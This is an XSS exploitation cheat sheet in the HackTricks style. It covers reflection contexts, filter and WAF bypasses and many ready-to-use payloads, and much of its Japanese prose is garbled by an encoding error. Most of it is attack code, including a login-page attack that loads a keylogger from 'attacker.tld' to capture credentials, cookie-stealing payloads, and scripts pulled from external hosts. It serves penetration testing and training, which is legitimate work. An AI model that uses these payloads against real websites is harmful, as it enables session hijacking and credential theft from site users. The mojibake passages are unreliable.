%.*s
XSS (Cross Site Scripting)
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
Methodology
- Check if any value you control (parameters, path, headers?, cookies?) is being reflected in the HTML or used by JS code.
- Find the context where itâs reflected/used.
- If reflected
- Check which symbols can you use and depending on that, prepare the payload:
- In raw HTML:
- Can you create new HTML tags?
- Can you use events or attributes supporting
javascript:protocol? - Can you bypass protections?
- Is the HTML content being interpreted by any client side JS engine (AngularJS, VueJS, MavoâŠ), you could abuse a Client Side Template Injection.
- If you cannot create HTML tags that execute JS code, could you abuse a Dangling Markup - HTML scriptless injection?
- Inside a HTML tag:
- Can you exit to raw HTML context?
- Can you create new events/attributes to execute JS code?
- Does the attribute where you are trapped support JS execution?
- Can you bypass protections?
- Inside JavaScript code:
- Can you escape the
<script>tag? - Can you escape the string and execute different JS code?
- Are your input in template literals ``?
- Can you bypass protections?
- Javascript function being executed
- You can indicate the name of the function to execute. e.g.:
?callback=alert(1) - If used:
- You could exploit a DOM XSS, pay attention how your input is controlled and if your controlled input is used by any sink.
When working on a complex XSS you might find interesting to know about:
Reflected values
In order to successfully exploit a XSS the first thing you need to find is a value controlled by you that is being reflected in the web page.
- Intermediately reflected: If you find that the value of a parameter or even the path is being reflected in the web page you could exploit a Reflected XSS.
- Stored and reflected: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a Stored XSS.
- Accessed via JS: If you find that a value controlled by you is being access using JS you could exploit a DOM XSS.
Contexts
When trying to exploit a XSS the first thing you need to know if where is your input being reflected. Depending on the context, you will be able to execute arbitrary JS code on different ways.
Raw HTML
If your input is reflected on the raw HTML page you will need to abuse some HTML tag in order to execute JS code: <img , <iframe , <svg , <script ⊠these are just some of the many possible HTML tags you could use.
Also, keep in mind Client Side Template Injection.
Inside HTML tags attribute
If your input is reflected inside the value of the attribute of a tag you could try:
- To escape from the attribute and from the tag (then you will be in the raw HTML) and create new HTML tag to abuse:
"><img [...] - If you can escape from the attribute but not from the tag (
>is encoded or deleted), depending on the tag you could create an event that executes JS code:" autofocus onfocus=alert(1) x=" - If you cannot escape from the attribute (
"is being encoded or deleted), then depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event likeonclick=you will be able to make it execute arbitrary code when itâs clicked. Another interesting example is the attributehref, where you can use thejavascript:protocol to execute arbitrary code:href="javascript:alert(1)" - If your input is reflected inside âunexpoitable tagsâ you could try the
accesskeytrick to abuse the vuln (you will need some kind of social engineer to exploit this):" accesskey="x" onclick="alert(1)" x="
Attribute-only login XSS behind WAFs
A corporate SSO login page reflected the OAuth service parameter inside the href attribute of <a id="forgot_btn" ...>. Even though < and > were HTML-encoded, double quotes were not, so the attacker could close the attribute and reuse the same element to inject handlers such as " onfocus="payload" x=".
- Inject the handler: Simple payloads like
onclick="print(1)"were blocked, but the WAF only inspected the first JavaScript statement in inline attributes. Prefixing a harmless expression wrapped in parentheses, then a semicolon, allowed the real payload to execute:onfocus="(history.length);malicious_code_here". - Auto-trigger it: Browsers focus any element whose
idmatches the fragment, so appending#forgot_btnto the exploit URL forces the anchor to focus on page load and runs the handler without requiring a click. - Keep the inline stub tiny: The target already shipped jQuery. The handler only needed to bootstrap a request via
$.getScript(...)while the full keylogger lived on the attackerâs server.
Building strings without quotes
Single quotes were returned URL-encoded and escaped double quotes corrupted the attribute, so the payload generated every string with String.fromCharCode. A helper function makes it easy to convert any URL into char codes before pasting it into the attribute:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
çµæãšããŠåŸããã屿§ã¯æ¬¡ã®ããã«ãªã£ãŠããŸãã:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
ãªããããè³æ Œæ å ±ãçãã®ã
å€éšã¹ã¯ãªããïŒæ»æè
ãå¶åŸ¡ãããã¹ããŸãã¯Burp Collaboratorããèªã¿èŸŒãŸããïŒã¯document.onkeypressã«ããã¯ããããŒå
¥åããããã¡ããŠã1ç§ããšã«new Image().src = collaborator_url + keysãå®è¡ããŠããŸãããXSSã¯æªèªèšŒãŠãŒã¶ãŒã«ã®ã¿çºçãããããæ©å¯æ§ã®é«ãæäœã¯ãã°ã€ã³ãã©ãŒã ãã®ãã®ã§ã â æ»æè
ã¯è¢«å®³è
ããLoginããæŒããªããŠããŠãŒã¶ãŒåãšãã¹ã¯ãŒããkeylogsããŸãã
ã¯ã©ã¹åãæäœãããšAngularãXSSãå®è¡ããå¥åŠãªäŸïŒ
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
JavaScript ã³ãŒãå
ãã®å Žåãããªãã®å
¥åã¯HTMLããŒãžã® <script> [...] </script> ã¿ã°å
ã.js ãã¡ã€ã«å
ããŸã㯠javascript: ãããã³ã«ã䜿ã屿§å
ã«åæ ãããŸã:
- ãã
<script> [...] </script>ã¿ã°ã®éã«åæ ãããå Žåãå ¥åãã©ããªçš®é¡ã®åŒçšç¬Šã®å åŽã«ãã£ãŠãã</script>ãæ¿å ¥ããŠãã®ã³ã³ããã¹ãããè±åºããããšã§ããŸãããã㯠browser will first parse the HTML tags ã®åäœã«ããããã©ãŠã¶ãæåã«HTMLã¿ã°ãè§£æããŠããã³ã³ãã³ããè§£æãããããæ¿å ¥ãã</script>ã¿ã°ãHTMLã³ãŒãå éšã«ããããšãèªèããªãããã§ãã - ããåæ å ã inside a JS string ã§åã®ããªãã¯ãå¹ããªãå Žåãæååã exit ããŠãã³ãŒãã execute ããJSã³ãŒãã reconstruct ããå¿ èŠããããŸãïŒãšã©ãŒãããã°å®è¡ãããŸããïŒ:
'-alert(1)-'';-alert(1)//\';alert(1)//- ãã³ãã¬ãŒããªãã©ã«å
ã«åæ ãããå Žåã¯ã
${ ... }æ§æã䜿ã£ãŠ embed JS expressions ã§ããŸã:var greetings = `Hello, ${alert(1)}` - Unicode encode 㯠valid javascript code ãæžãã®ã«æå¹ã§ãïŒ
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting ã¯ã颿°ã倿°ãã¯ã©ã¹ã䜿çšåŸã«å®£èšã§ããæ©äŒãæããXSS ãæªå®£èšã®å€æ°ã颿°ã䜿çšããŠããã·ããªãªãæªçšããããšãã§ããŸãã
è©³çŽ°ã¯æ¬¡ã®ããŒãžãåç
§ããŠãã ããïŒ
Javascript Function
Several web pages have endpoints that accept as parameter the name of the function to execute. A common example to see in the wild is something like: ?callback=callbackFunc.
ãŠãŒã¶ãçŽæ¥æž¡ãããã®ãå®è¡ãããããšããŠãããã調ã¹ãè¯ãæ¹æ³ã¯ããã©ã¡ãŒã¿ã®å€ã倿ŽããããšïŒäŸïŒâVulnerableâ ã«ïŒã§ãã³ã³ãœãŒã«ã«æ¬¡ã®ãããªãšã©ãŒãåºãã確èªããããšã§ãïŒ
.png)
è匱ãªå Žåã¯ãå€ãéãã ãã§alert ãããªã¬ãŒã§ããããšããããŸãïŒ?callback=alert(1)ããã ããå€ãã®å Žåãã®ãšã³ããã€ã³ãã¯å
å®¹ãæ€èšŒããŠãè±æ°åãããããã¢ã³ããŒã¹ã³ã¢ã®ã¿ãèš±å¯ããŸãïŒ[\w\._]ïŒã
ãããããã®å¶éããã£ãŠãããã€ãã®æäœã¯å¯èœã§ããããã¯ãæå¹ãªæåã䜿ã£ãŠDOMå ã®ä»»æã®èŠçŽ ã«ã¢ã¯ã»ã¹ã§ããããã§ãïŒ
.png)
æçšãªé¢æ°ã®äŸïŒ
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
You can also try to Javascript颿°ãçŽæ¥ããªã¬ãŒãã: obj.sales.delOrders.
ããããéåžžãæå®ããã颿°ãå®è¡ãããšã³ããã€ã³ãã¯ããŸãè峿·±ãDOMãæããªãããšãå€ããåäžãªãªãžã³å ã®ä»ã®ããŒãžã®æ¹ãããå€ãã®ã¢ã¯ã·ã§ã³ãè¡ãããã«ããè峿·±ãDOMãæã£ãŠããã§ãããã
ãããã£ãŠããã®è匱æ§ãå¥ã®DOMã§æªçšããããã«ãSame Origin Method Execution (SOME) exploitation was developed:
SOME - Same Origin Method Execution
DOM
æ»æè
ã«ããå¶åŸ¡ãããããŒã¿ïŒäŸ: location.hrefïŒãå®å
šã§ãªãæ¹æ³ã§äœ¿çšããŠãã****JS codeãååšããŸããæ»æè
ã¯ãããæªçšããŠä»»æã®JSã³ãŒããå®è¡ããããšãã§ããŸãã
Universal XSS
ãã®çš®ã®XSSã¯ã©ãã«ã§ãèŠã€ããå¯èœæ§ããããŸãããããã¯åã«ãŠã§ãã¢ããªã±ãŒã·ã§ã³ã®ã¯ã©ã€ã¢ã³ãåŽã®æªçšã«äŸåããã ãã§ãªãããããã****ã³ã³ããã¹ãã«äŸåããŸãããã®çš®ã®ä»»æã®JavaScriptå®è¡ã¯ãRCEãç²åŸããããã¯ã©ã€ã¢ã³ãããµãŒãã®ä»»æã®ãã¡ã€ã«ãèªã¿åããªã©ã«æªçšãããå¯èœæ§ããããŸãã
ããã€ãã®äŸ:
WAF ãã€ãã¹ ãšã³ã³ãŒãã£ã³ã° ç»å
.jpg)
çã® HTML ãžã®ã€ã³ãžã§ã¯ã·ã§ã³
å
¥åãHTMLããŒãžå
ã«åæ ãããå ŽåããŸãã¯ãã®ã³ã³ããã¹ãã§ãšã¹ã±ãŒããåé¿ããŠHTMLã³ãŒããæ³šå
¥ã§ããå Žåãæåã«è¡ãã¹ãããšã¯æ°ããã¿ã°ãäœæããããã«<ãæªçšã§ããã確èªããããšã§ã: ãã®æåãåæ ãããã詊ããŠã¿ãŠããããHTMLãšã³ã³ãŒãããããåé€ããããããããã¯å€æŽãªãã§åæ ããããã確èªããŠãã ãããæåŸã®å Žåã«ã®ã¿ããã®ã±ãŒã¹ããšã¯ã¹ããã€ãã§ããŸãã
ãã®ãããªã±ãŒã¹ã§ã¯Client Side Template Injectionã念é ã«çœ®ããŠãããŠãã ããã
泚: HTMLã³ã¡ã³ãã¯æ¬¡ã®ãã®ã§éããããšãã§ããŸã****-->****ãŸã㯠**--!>**
ãã®å Žåããã©ãã¯/ãã¯ã€ããªã¹ãã£ã³ã°ã䜿çšãããŠããªããã°ã次ã®ãããªãã€ããŒãã䜿çšã§ããŸã:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
ããããtags/attributes black/whitelisting ã䜿ãããŠããå Žåãã©ã® tags ãäœæã§ãããã brute-force which tags ããå¿
èŠããããŸãã
located which tags are allowed ããããèŠã€ãã£ãæå¹ãª tags ã®äžã§ brute-force attributes/events ãè¡ããã³ã³ããã¹ããã©ãæ»æã§ããã確èªããå¿
èŠããããŸãã
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasnât discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
Custom tags
æå¹ãª HTML tag ãèŠã€ãããªãã£ãå Žåãcreate a custom tag ã詊ã㊠onfocus 屿§ã§ JS code ãå®è¡ã§ãããããããŸãããIn the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
ããäœããã® blacklist ã䜿ãããŠããå Žåãæ¬¡ã®ãããªåçŽãªããªãã¯ã§åé¿ã詊ã¿ãããšãã§ããŸã:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > More tiny XSS for different environments 㮠payload 㯠can be found here and here.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//â¡ã.pw>
æåŸã®ãã®ã¯2ã€ã® unicode æåã䜿çšããŠããã5ã€ã«å±éãããŸã: telsr\
ãããã®æåã®è©³çްã¯hereã§ç¢ºèªã§ããŸãã\
ã©ã®æåã«åè§£ããããã確èªããã«ã¯hereããã§ãã¯ããŠãã ããã
Click XSS - Clickjacking
è匱æ§ãæªçšããããã«ãäºåã«å ¥åãããããŒã¿ãæã€ãªã³ã¯ããã©ãŒã ããŠãŒã¶ãã¯ãªãã¯ããããšãå¿ èŠãªå ŽåãïŒããŒãžãè匱ã§ããã°ïŒabuse Clickjackingã詊ãããšãã§ããŸãã
Impossible - Dangling Markup
HTMLã¿ã°ã«å±æ§ãä»ããŠJSã³ãŒããå®è¡ãããããªã¿ã°ãäœãã®ã¯äžå¯èœã ãšæããªããDanglig Markup ã確èªããŠãã ããããªããªããJSã³ãŒããå®è¡ããã«è匱æ§ãexploitã§ããããã§ãã
HTMLã¿ã°å ãžã®æ³šå ¥
ã¿ã°å / 屿§å€ããã®ãšã¹ã±ãŒã
ããHTMLã¿ã°å
ã«ããå Žåãæåã«è©Šãã¹ãããšã¯ã¿ã°ãããšã¹ã±ãŒãããŠãprevious sectionã§è¿°ã¹ããã¯ããã¯ã®ããã€ãã䜿ãJSã³ãŒããå®è¡ããããšã§ãã\
ããã¿ã°ãããšã¹ã±ãŒãã§ããªãå Žåã¯ãã¿ã°å
ã«æ°ãã屿§ãäœæããŠJSã³ãŒããå®è¡ããããšããããšãã§ããŸããäŸãã°ã次ã®ãããªãã€ããŒããäœ¿ãæ¹æ³ããããŸãïŒãã®äŸã§ã¯å±æ§ããè±åºããããã«ããã«ã¯ã©ãŒãã䜿çšããŠãããå
¥åãã¿ã°å
ã«çŽæ¥åæ ãããå Žåã¯ãããã¯äžèŠã§ãïŒïŒ
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
ã¹ã¿ã€ã«ã€ãã³ã
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
屿§å
ããšã 屿§ããæãåºããªãå Žå (" ããšã³ã³ãŒãããããåé€ãããå Žå) ã§ããã©ã® 屿§ ã«å€ãåæ ãããŠãããããããŠãã®å€ãå
šéšå¶åŸ¡ããŠããã®ãäžéšã ããªã®ãã«ãã£ãŠãæªçšãå¯èœã§ããFor example, onclick= ã®ãããªã€ãã³ããå¶åŸ¡ã§ããã°ãã¯ãªãã¯æã«ä»»æã®ã³ãŒããå®è¡ãããããšãã§ããŸãã
ããäžã€è峿·±ã example 㯠href 屿§ã§ãjavascript: ãããã³ã«ã䜿ã£ãŠä»»æã®ã³ãŒããå®è¡ã§ããŸãïŒhref="javascript:alert(1)"
HTML encoding/URL encode ã䜿ã£ãã€ãã³ãå ã§ã®ãã€ãã¹
HTML ã¿ã°å±æ§ã®å€å
ã«ãã HTML encoded characters ã¯å®è¡æã« decoded on runtime ãããŸãããããã£ãŠæ¬¡ã®ãããªãã®ãæå¹ã«ãªããŸãïŒãã€ããŒãã¯å€ªåïŒïŒ <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
ãªããã©ã®åœ¢åŒã® HTML ãšã³ã³ãŒãã§ãæå¹ã§ããç¹ã«æ³šæããŠãã ãã:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
URL encode ãæå¹ã§ã:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
eventå ã§Unicode encodeã䜿çšããŠBypassãã
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
屿§å ã®ç¹æ®ãããã³ã«
屿§å
ã§ã¯ãäžéšã®å Žæã§ãããã³ã« javascript: ã data: ã䜿çšããŠä»»æã® JS ã³ãŒããå®è¡ã§ããŸãããŠãŒã¶ãŒæäœãå¿
èŠãšãããã®ãããã°ãå¿
èŠãšããªããã®ããããŸãã
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
ãããã®ãããã³ã«ãæ³šå ¥ã§ããå Žæ
äžè¬çã« javascript: ãããã³ã«ã¯ 屿§ href ãåãåãä»»æã®ã¿ã°ã§äœ¿çšã§ããããã³ å±æ§ src ãåãåãã»ãšãã©ã®ã¿ã°ã§ã䜿çšã§ããŸãïŒãã ã <img> ã¯é€ãïŒ
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Other obfuscation tricks
ãã®å Žåãåã®ã»ã¯ã·ã§ã³ã® HTML encoding ãš Unicode encoding trick ã¯ã屿§å ã§ããããæå¹ã§ãã
<a href="javascript:var a=''-alert(1)-''">
ããã«ããããã®ã±ãŒã¹ã«ã¯ããäžã€ã®äŸ¿å©ãªããªãã¯ããããŸãïŒjavascript:... å
ã®å
¥åã URL encoded ãããŠããŠããå®è¡ãããåã« URL decoded ãããŸãã ãããã£ãŠãescape ã䜿ã£ãŠ string ãã single quote ãæãåºãå¿
èŠããããitâs being URL encoded ãšè¡šç€ºãããŠããŠããit doesnât matter, ããã¯å®è¡æã« interpreted ãšã㊠single quote ãšããŠæ±ãããŸãïŒexecution timeïŒã
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
泚æ: ãã äž¡æ¹äœ¿çšãã URLencode + HTMLencode ãã©ã®é åºã§äœ¿ã£ãŠ payload ããšã³ã³ãŒãããããšãããš åäœããŸãã ããpayload ã®å
éšã§æ··ããããšã¯ã§ããŸãã
Using Hex and Octal encode with javascript:
iframe ã® src 屿§å
ïŒå°ãªããšãïŒã§ Hex ããã³ Octal encode ã䜿çšããŠãHTML ã¿ã°ã§ JS ãå®è¡ãã ã宣èšã§ããŸã:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
ä»»æã® URL ãä»»æã® <a href= ã¿ã°ã«æ³šå
¥ã§ãããã®ã¿ã°ã target="_blank" and rel="opener" 屿§ãå«ãã§ããå Žåããã®æåãæªçšããã«ã¯æ¬¡ã®ããŒãžã確èªããŠãã ãã:
on ã€ãã³ããã³ãã©ã®ãã€ãã¹
ãŸãæåã«ã䟿å©ãª âonâ event handlers ã確èªããããã«ãã®ããŒãžïŒhttps://portswigger.net/web-security/cross-site-scripting/cheat-sheetïŒãåç
§ããŠãã ããã
ãããããã®ã€ãã³ããã³ãã©ãäœæããããšãé²ããã©ãã¯ãªã¹ããååšããå Žåãæ¬¡ã®ãã€ãã¹ã詊ããŠã¿ãŠãã ããïŒ
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS in âUnexploitable tagsâ (hidden input, link, canonical, meta)
here ãããhidden inputs ãæªçšããŠä»¥äžãå¯èœã«ãªããŸãã:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
ãã㊠meta tags ã«ã:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
詳现㯠here: ããªãã¯ãXSS payload inside a hidden attribute ãå®è¡ã§ããŸãããã ã persuade ã㊠victim ã« key combination ãæŒãããããšãã§ããå Žåã«éããŸããFirefoxïŒWindows/LinuxïŒã§ã¯ããŒæäœã¯ ALT+SHIFT+XãOS Xã§ã¯ CTRL+ALT+X ã§ããaccess key attribute ã«å¥ã®ããŒãæå®ããããšã§ãå¥ã®ããŒæäœãæå®ã§ããŸãããã¯ã¿ãŒã¯æ¬¡ã®éãïŒ
<input type="hidden" accesskey="X" onclick="alert(1)">
The XSS payload will be something like this: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Several tricks with using different encoding were exposed already inside this section. Go back to learn where can you use:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Read the Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Read the JavaScript bypass blacklist of the following section.
CSS-Gadgets
If you found a XSS in a very small part of the web that requires some kind of interaction (maybe a small link in the footer with an onmouseover element), you can try to modify the space that element occupies to maximize the probabilities of have the link fired.
For example, you could add some styling in the element like: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example
.test {display:block; color: blue; width: 100%}
and
#someid {top: 0; font-family: Tahoma;}
Now you can modify our link and bring it to the form
<a href=ââ id=someid class=test onclick=alert() a=ââ>
This trick was taken from https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
ãã®å Žåãããªãã® input 㯠.js ãã¡ã€ã«ã® JS ã³ãŒãå
ããŸã㯠<script>...</script> ã¿ã°å
ãJS ãå®è¡ã§ãã HTML ã€ãã³ãå
ãããã㯠javascript: ãããã³ã«ã蚱容ãã屿§å
ã«åæ ãããŸãã
<script> ã¿ã°ã®ãšã¹ã±ãŒã
If your code is inserted within <script> [...] var input = 'reflected data' [...] </script> you could easily escape closing the <script> tag:
</script><img src=1 onerror=alert(document.domain)>
ãã®äŸã§ã¯ ã·ã³ã°ã«ã¯ã©ãŒããéããŠãããªã ããšã«æ³šæããŠãã ãããããã¯ãHTMLã®è§£æããã©ãŠã¶ã«ãã£ãŠæåã«è¡ããã ããã§ãã¹ã¯ãªãããããã¯ãå«ãããŒãžèŠçŽ ã®èå¥ãè¡ãããŸããåã蟌ãŸããã¹ã¯ãªãããçè§£ãå®è¡ããããã®JavaScriptã®è§£æã¯ããã®åŸã«è¡ãããŸãã
JSã³ãŒãå
<> ããµãã¿ã€ãºãããŠããå Žåã§ããæååããšã¹ã±ãŒãããå
¥åãé
眮ãããŠããç®æã§ä»»æã®JSãå®è¡ããããšãã§ããŸããJSã®æ§æãä¿®æ£ããããšãéèŠã§ãããšã©ãŒããããšJSã³ãŒãã¯å®è¡ãããŸãã:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break â inject â repair pattern
ãŠãŒã¶ãŒå ¥åãåŒçšç¬Šã§å²ãŸãã JavaScript ã®æååå ã«å ¥ãå ŽåïŒäŸ: ã€ã³ã©ã€ã³ã¹ã¯ãªãããžã®ãµãŒããŒåŽ echoïŒãæååãçµäºãããŠã³ãŒããæ³šå ¥ããæ§æã修埩ããŠããŒã¹ãæå¹ãªç¶æ ã«ä¿ã€ããšãã§ããŸããäžè¬çãªéªšçµã¿ïŒ
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
è匱ãªãã©ã¡ãŒã¿ãJSæååã«åæ ãããå Žåã®äŸã®URLãã¿ãŒã³ïŒ
?param=test";<INJECTION>;a="
ããã¯HTMLã³ã³ããã¹ãã«è§Šããããšãªãæ»æè ã®JSãå®è¡ããŸãïŒçŽç²ãªJS-in-JSïŒããã£ã«ã¿ãããŒã¯ãŒãããããã¯ããå Žåã¯ãäžã® blacklist bypasses ãšçµã¿åãããŠãã ããã
ãã³ãã¬ãŒããªãã©ã« ``
åäžåŒçšç¬ŠãäºéåŒçšç¬Šãšã¯å¥ã«æååãæ§ç¯ããããã«ãJSã¯backticks `` ãåãå
¥ããŸããããã¯ãã³ãã¬ãŒããªãã©ã«ãšããŠç¥ãããŠããã${ ... }æ§æã䜿ã£ãŠJSåŒãåã蟌ãããšãå¯èœã«ããŸãã
ãã®ãããããããªãã®å
¥åãbackticksã䜿ãJSæååå
ã«åæ ãããŠãããªãã${ ... }æ§æãæªçšããŠä»»æã®JSã³ãŒããå®è¡ã§ããŸã:
ãããæªçšããäŸ:
